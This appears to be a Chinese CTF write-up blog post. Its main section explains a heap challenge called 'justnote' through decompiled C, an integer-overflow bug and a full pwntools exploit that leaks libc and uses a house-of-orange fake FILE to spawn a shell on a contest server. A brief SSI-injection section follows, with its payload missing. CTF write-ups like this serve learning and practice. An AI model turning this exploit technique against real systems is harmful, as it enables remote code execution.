justnote
很经典的选单程序,好久没遇到这么经典的堆题了。。
三个功能,add,delete,edit
add:
int insert_note()
{
__int64 content_addr; // [rsp+8h][rbp-18h]
__int64 len; // [rsp+10h][rbp-10h]
signed int i; // [rsp+1Ch][rbp-4h]
for ( i = 0; i <= 31 && *(_QWORD *)(16LL * i + note_lst); ++i )
;
if ( i == 32 )
return puts("no more, no more");
content_addr = (__int64)calloc(0x100uLL, 1uLL);
if ( !content_addr )
{
puts("memory error, contact admin");
exit(1);
}
printf("length of note: ", 1LL);
len = read_long_long();
if ( len < 0 )
len = -len;
if ( len > 0xFF )
len = 0xFFLL;
printf("note: ");
recvn(content_addr, len);
*(_QWORD *)(16LL * i + note_lst) = content_addr ^ 0xDEADBEEFCAFEBABELL;
*(_QWORD *)(note_lst + 16LL * i + 8) = len;
return printf("check it out: %s\n", content_addr);
}
delete:
int remove_note()
{
signed __int64 v0; // rax
__int64 index; // [rsp+8h][rbp-8h]
printf("index of note: ");
index = read_long_long();
if ( index >= 0 && index <= 31 )
{
if ( *(_QWORD *)(16 * index + note_lst) )
{
free((void *)(*(_QWORD *)(16 * index + note_lst) ^ 0xDEADBEEFCAFEBABELL));
*(_QWORD *)(16 * index + note_lst) = 0LL;
v0 = 16 * index + note_lst;
*(_QWORD *)(v0 + 8) = 0LL;
}
else
{
LODWORD(v0) = puts("no note here");
}
}
else
{
LODWORD(v0) = puts("out of range");
}
return v0;
}
edit:
int edit_note()
{
__int64 index; // [rsp+8h][rbp-8h]
printf("index of note: ");
index = read_long_long();
if ( index < 0 || index > 31 )
return puts("out of range");
if ( !*(_QWORD *)(16 * index + note_lst) )
return puts("no note here");
printf("note: ");
return recvn(*(_QWORD *)(16 * index + note_lst) ^ 0xDEADBEEFCAFEBABELL, *(_QWORD *)(16 * index + note_lst + 8));
}
漏洞点
add函数里面存在整数溢出:
len = read_long_long();
if ( len < 0 )
len = -len;
if ( len > 0xFF )
len = 0xFFLL;
看起来没问题但是输入的时候过长的话len会变成0x8000000000000000
漏洞利用
leak
将len构造成一个很大的数就可以几乎无限的堆溢出了
由于用的是calloc,而且没有show函数,所以需要利用mmap位绕过calloc,将fd指针覆盖,打印bk就可以leak地址了
getshell
由于只能利用0x100的堆块,所以用的house of orange(但是我觉得预期解应该是unlink,不管了)
exp
from pwn import *
# context.log_level = 'debug'
binary = './justnote'
elf = ELF(binary)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6_2.23-0ubuntu10_amd64.so")}
io = remote('210.32.4.17',13376)
# io = process(binary)
def p():
gdb.attach(io)
raw_input()
def choice(c):
io.recvuntil('choice: ')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil('of note: ')
io.sendline(str(size))
io.recvuntil('note: ')
io.send(content)
def delete(index):
choice(2)
io.recvuntil('of note: ')
io.sendline(str(index))
def edit(index,content):
choice(3)
io.recvuntil('of note: ')
io.sendline(str(index))
io.recvuntil('note: ')
io.send(content)
add(-0x1FFFFFFFFFFFFFFFFFFFFFFFF,'\n')#0
add(0x100,'B'*0xff)#1
add(0x100,'C'*0xff)#2
add(0x100,'D'*0xff)#3
delete(1)
edit(0,'A'*0x108 + p64(0x113)+'\n')
add(0x100,'B'*0x8+'\n')
io.recvuntil('B'*8)
leak = u64(io.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
iolist = libc_base + libc.symbols['_IO_list_all']
sys = libc_base + libc.symbols['system']
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(iolist- 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_base + 0x3c37b0 - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(sys)
delete(2)
edit(0,'A'*0x108 +p64(0x111) + 'B'*0x100+ fake_file+p64(0)*5 + p64(0x111)+'\n')
choice(1)
io.interactive()
simplesververinjection
感觉像是SSI服务器端包含注入,当尝试注入等命令时,发现没有效果,所以想到是被过滤了。
所以构造payload为 就可以看到flag。
PREVIOUShctf heapstorm
NEXT2018